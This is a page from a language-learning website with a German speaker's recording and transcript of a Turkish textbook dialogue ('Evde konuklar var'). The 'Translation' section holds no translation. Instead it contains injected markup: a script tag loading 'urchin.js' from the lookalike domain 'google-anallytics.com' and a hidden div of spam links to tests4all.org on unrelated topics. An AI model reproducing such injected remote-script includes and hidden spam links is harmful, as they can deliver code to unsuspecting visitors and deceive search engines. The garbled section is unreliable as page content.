Language sounds
Home > Sounds > Evde konuklar var (Textbook Güle Güle)

‘Evde konuklar var (Textbook Güle Güle)’
Click to listen to Babylonia Türkçe 04.mp3 (122Kb)
Non-native speaker
Accent: German
AuthorBabylonia
Date: 10/25/2008

Description of what is on the sound file:
This is a dialogue on page 111 of my Türkisch textbook Güle Güle (Max Hueber Verlag). With this textbook, the workbook and the two audio CDs I study Turkish. There are many dialogues in this textbook which makes the language very practical. My native language is German and of course I have a German accent when reading Turkish.


Transcript of sound file:
Evde konuklar var = Guests at home
(Güle Güle TB, page 111)

Canan: Çay mı, kahve mi?
Gudrun: Ben çay içmek istiyorum.
Şevket: Ben de çay içeyim.
Canan: Franz, ya sen?
Franz: Ben kahve içeyim.
Canan: Biraz daha beyaz peynir?
Gudrun: Alayım.
Franz: Beyaz peynirden ben de almak istiyorum. Çok nefis.
Şevket: Ben de biraz alayım.
Canan: Buyrun, buyrun! Zeytin?
Gudrun: Ben de zeytin almayayım.
Franz: Her şey çok nefis. Canan, teşekkürler. Fakat kahvaltida ben de zeytin yemiyorum.


Translation:
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>


Upload a sound file (you need to register or login to the forum first)


DHTML Menu By Milonic JavaScript


Copyright 2020 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.